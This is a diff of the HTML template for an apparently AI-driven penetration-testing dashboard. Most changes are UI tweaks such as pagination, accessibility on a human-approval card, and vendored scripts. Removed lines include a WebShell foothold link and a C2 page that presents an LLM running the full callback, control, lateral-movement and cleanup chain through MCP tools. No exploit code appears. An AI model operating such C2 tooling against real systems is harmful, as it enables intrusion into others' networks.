<div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-running" id="dashboard-batch-progress-running" style="width: 0%"></div>
<div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-done" id="dashboard-batch-progress-done" style="width: 0%"></div>
</div>
</div>
</div>
</section>
<section class="dashboard-section dashboard-section-tools"> <section class="dashboard-section dashboard-section-tools">
<div class="dashboard-section-header"> <div class="dashboard-section-header">
<h3 class="dashboard-section-title" data-i18n="dashboard.toolsExecCount">工具执行次数</h3> <h3 class="dashboard-section-title" data-i18n="dashboard.toolsExecCount">工具执行次数</h3>
@@ -723,14 +735,6 @@
<span class="dashboard-resource-label" data-i18n="dashboard.agentsLabel">Agents</span> <span class="dashboard-resource-label" data-i18n="dashboard.agentsLabel">Agents</span>
<span class="dashboard-resource-value" id="dashboard-resource-agents">-</span> <span class="dashboard-resource-value" id="dashboard-resource-agents">-</span>
</a> </a>
<!-- WebShell 连接:渗透落地后建立的 foothold,对安全运维场景非常关键 -->
<a class="dashboard-resource-item" onclick="switchPage('webshell')" role="button" tabindex="0">
<span class="dashboard-resource-icon dashboard-resource-icon-webshell" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
</span>
<span class="dashboard-resource-label" data-i18n="dashboard.webshellLabel">WebShell</span>
<span class="dashboard-resource-value" id="dashboard-resource-webshell">-</span>
</a>
</div> </div>
</section> </section>
</div> </div>
@@ -817,6 +821,7 @@
<div id="conversations-list" class="conversations-list"></div> <div id="conversations-list" class="conversations-list"></div>
</div> </div>
</div> </div>
<div id="conversations-pagination" class="sidebar-list-pagination conversation-sidebar-pagination"></div>
<div id="chat-reasoning-wrapper" class="chat-reasoning-wrapper conversation-reasoning-card conversation-reasoning-collapsed" style="display: none;"> <div id="chat-reasoning-wrapper" class="chat-reasoning-wrapper conversation-reasoning-card conversation-reasoning-collapsed" style="display: none;">
<button type="button" id="conversation-reasoning-toggle" class="conversation-reasoning-card-header" onclick="toggleConversationReasoningCard()" aria-expanded="false" aria-controls="conversation-reasoning-body" data-i18n="chat.reasoningCompactAria" data-i18n-attr="aria-label,title" data-i18n-skip-text="true" aria-label="模型推理选项" title="模型推理选项"> <button type="button" id="conversation-reasoning-toggle" class="conversation-reasoning-card-header" onclick="toggleConversationReasoningCard()" aria-expanded="false" aria-controls="conversation-reasoning-body" data-i18n="chat.reasoningCompactAria" data-i18n-attr="aria-label,title" data-i18n-skip-text="true" aria-label="模型推理选项" title="模型推理选项">
<div class="conversation-reasoning-heading"> <div class="conversation-reasoning-heading">
@@ -831,6 +836,11 @@
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span> <span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
</div> </div>
</div> </div>
<span class="sidebar-card-chevron conversation-reasoning-chevron" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</span>
</button> </button>
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region"> <div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p> <p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
@@ -859,7 +869,7 @@
</div> </div>
</div> </div>
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card"> <div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
<div class="hitl-sidebar-card-header" onclick="toggleHitlSidebarCard()"> <div class="hitl-sidebar-card-header" id="hitl-sidebar-toggle" role="button" tabindex="0" aria-expanded="false" aria-controls="hitl-sidebar-body" onclick="toggleHitlSidebarCard()" onkeydown="if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); toggleHitlSidebarCard(); }">
<div class="hitl-sidebar-heading"> <div class="hitl-sidebar-heading">
<span class="hitl-sidebar-icon" aria-hidden="true"> <span class="hitl-sidebar-icon" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -872,11 +882,11 @@
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span> <span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
</div> </div>
</div> </div>
<div class="hitl-sidebar-header-actions"> <span class="sidebar-card-chevron hitl-sidebar-chevron" aria-hidden="true">
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="event.stopPropagation(); window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()"> <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<span data-i18n="chat.hitlApply">应用</span> <path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</button> </svg>
</div> </span>
</div> </div>
<div class="hitl-sidebar-body" id="hitl-sidebar-body"> <div class="hitl-sidebar-body" id="hitl-sidebar-body">
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div> <div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
@@ -894,6 +904,11 @@
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea> <textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p> <p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
</div> </div>
<div class="hitl-config-actions">
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
<span data-i18n="chat.hitlApply">应用</span>
</button>
</div>
</div> </div>
</div> </div>
</div> </div>
@@ -1445,6 +1460,7 @@
<input type="search" id="projects-list-search" class="form-input" placeholder="搜索项目…" oninput="filterProjectsList()" autocomplete="off" data-i18n="projects.searchProjectsPlaceholder" data-i18n-attr="placeholder"> <input type="search" id="projects-list-search" class="form-input" placeholder="搜索项目…" oninput="filterProjectsList()" autocomplete="off" data-i18n="projects.searchProjectsPlaceholder" data-i18n-attr="placeholder">
</div> </div>
<div id="projects-list" class="projects-list"></div> <div id="projects-list" class="projects-list"></div>
<div id="projects-pagination" class="sidebar-list-pagination projects-sidebar-pagination"></div>
</aside> </aside>
<main class="projects-detail" id="projects-detail-main"> <main class="projects-detail" id="projects-detail-main">
<div class="projects-detail-placeholder" id="projects-detail-placeholder"> <div class="projects-detail-placeholder" id="projects-detail-placeholder">
@@ -1995,51 +2011,6 @@
</div> </div>
</div> </div>
<!-- C2 管理页面容器(各子页面通过 JS 动态渲染) -->
<div id="page-c2" class="page">
<div class="page-header">
<h2 data-i18n="c2.title">C2 管理</h2>
</div>
<div class="page-content" id="c2-content">
<div class="c2-layout">
<div id="c2-main" class="c2-main">
<div class="c2-welcome">
<div class="c2-welcome-icon">
<svg width="72" height="72" viewBox="0 0 24 24" fill="none" stroke="url(#c2-grad)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
<defs><linearGradient id="c2-grad" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00d4ff"/><stop offset="100%" stop-color="#a855f7"/></linearGradient></defs>
<path d="M4.9 19.1C1 15.2 1 8.8 4.9 4.9"></path>
<path d="M7.8 16.2c-2.3-2.3-2.3-6.1 0-8.5"></path>
<circle cx="12" cy="12" r="2"></circle>
<path d="M16.2 7.8c2.3 2.3 2.3 6.1 0 8.5"></path>
<path d="M19.1 4.9C23 8.8 23 15.2 19.1 19"></path>
</svg>
</div>
<h3 data-i18n="c2.welcomeTitle">AI-Native C2 框架</h3>
<p data-i18n="c2.welcomeDesc">以 MCP 工具为一等公民,让 LLM 可以像调用 nmap 一样调用 C2 完成"上线 → 控制 → 任务 → 横向 → 清场"全流程</p>
<div class="c2-stats" id="c2-dashboard-stats">
<div class="c2-stat-item">
<span class="c2-stat-value" id="c2-stat-listeners">-</span>
<span class="c2-stat-label" data-i18n="c2.statListeners">运行中监听器</span>
</div>
<div class="c2-stat-item">
<span class="c2-stat-value" id="c2-stat-sessions">-</span>
<span class="c2-stat-label" data-i18n="c2.statSessions">在线会话</span>
</div>
<div class="c2-stat-item">
<span class="c2-stat-value" id="c2-stat-pending">-</span>
<span class="c2-stat-label" data-i18n="c2.statPending">待审任务</span>
</div>
</div>
<div class="c2-actions">
<button class="btn-primary" onclick="switchPage('c2-listeners')" data-i18n="c2.goListeners">管理监听器</button>
<button class="btn-secondary" onclick="switchPage('c2-sessions')" data-i18n="c2.goSessions">查看会话</button>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- C2 监听器管理页面 --> <!-- C2 监听器管理页面 -->
<div id="page-c2-listeners" class="page"> <div id="page-c2-listeners" class="page">
<div class="page-header"> <div class="page-header">
@@ -3507,10 +3478,9 @@
</div> </div>
</div> </div>
<!-- Marked.js for Markdown parsing --> <!-- Marked.js + DOMPurify:本地 vendor,避免 CDN 不可用导致 Markdown 降级为纯文本 -->
<script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"></script> <script src="/static/vendor/marked.min.js"></script>
<!-- DOMPurify for HTML sanitization to prevent XSS --> <script src="/static/vendor/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.8/dist/purify.min.js"></script>
<script src="/static/js/sanitize-markdown.js"></script> <script src="/static/js/sanitize-markdown.js"></script>
<!-- Cytoscape.js for attack chain visualization --> <!-- Cytoscape.js for attack chain visualization -->
<script src="https://cdn.jsdelivr.net/npm/cytoscape@3.27.0/dist/cytoscape.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/cytoscape@3.27.0/dist/cytoscape.min.js"></script>
@@ -3545,8 +3515,9 @@
</div> </div>
<div class="form-group" id="skill-package-editor" style="display: none;"> <div class="form-group" id="skill-package-editor" style="display: none;">
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label> <label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
<small class="skill-package-tree-hint" data-i18n="skillModal.packageFilesHint">点击文件进行编辑;文件夹仅作分组展示,不可点击</small>
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;"> <div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
<div id="skill-package-tree" style="flex: 0 0 240px; max-height: 440px; overflow: auto; border: 1px solid rgba(127,127,127,0.25); border-radius: 6px; padding: 8px; font-size: 13px; line-height: 1.4;"></div> <div id="skill-package-tree"></div>
<div style="flex: 1; min-width: 0;"> <div style="flex: 1; min-width: 0;">
<div style="margin-bottom: 8px; font-size: 13px;"> <div style="margin-bottom: 8px; font-size: 13px;">
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code> <span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>
@@ -4250,6 +4221,11 @@
<textarea id="fact-modal-body" class="form-input fact-modal-body-input" rows="14" placeholder="攻击链步骤、HTTP/命令 POC、响应现象、证据…" oninput="updateFactFormHints()"></textarea> <textarea id="fact-modal-body" class="form-input fact-modal-body-input" rows="14" placeholder="攻击链步骤、HTTP/命令 POC、响应现象、证据…" oninput="updateFactFormHints()"></textarea>
<p id="fact-modal-body-hint" class="projects-field-hint" role="status"></p> <p id="fact-modal-body-hint" class="projects-field-hint" role="status"></p>
</div> </div>
<div class="projects-form-field">
<label class="projects-filter-check projects-pin-toggle">
<input type="checkbox" id="fact-modal-pinned"> <span data-i18n="projects.pinFact">置顶事实(列表与黑板索引优先)</span>
</label>
</div>
<div class="projects-form-field"> <div class="projects-form-field">
<label for="fact-modal-related-vuln" data-i18n="projects.relatedVulnIdLabel">关联漏洞 ID</label> <label for="fact-modal-related-vuln" data-i18n="projects.relatedVulnIdLabel">关联漏洞 ID</label>
<input type="text" id="fact-modal-related-vuln" class="form-input" placeholder="可选" data-i18n="projects.optional" data-i18n-attr="placeholder"> <input type="text" id="fact-modal-related-vuln" class="form-input" placeholder="可选" data-i18n="projects.optional" data-i18n-attr="placeholder">
@@ -4274,12 +4250,6 @@
</div> </div>
<div class="projects-modal-body"> <div class="projects-modal-body">
<p id="fact-detail-sparse-warn" class="projects-fact-sparse-warn" hidden></p> <p id="fact-detail-sparse-warn" class="projects-fact-sparse-warn" hidden></p>
<div id="fact-detail-prev-wrap" class="fact-detail-prev-wrap" hidden>
<h4 class="fact-detail-prev-title" data-i18n="projects.previousVersion">上一版本</h4>
<p id="fact-detail-prev-meta" class="projects-modal-subtitle"></p>
<pre id="fact-detail-prev-body" class="fact-detail-body fact-detail-body--muted"></pre>
</div>
<h4 class="fact-detail-current-title" data-i18n="projects.currentVersion">当前版本</h4>
<pre id="fact-detail-body" class="fact-detail-body"></pre> <pre id="fact-detail-body" class="fact-detail-body"></pre>
</div> </div>
<div class="projects-modal-footer projects-modal-footer--split"> <div class="projects-modal-footer projects-modal-footer--split">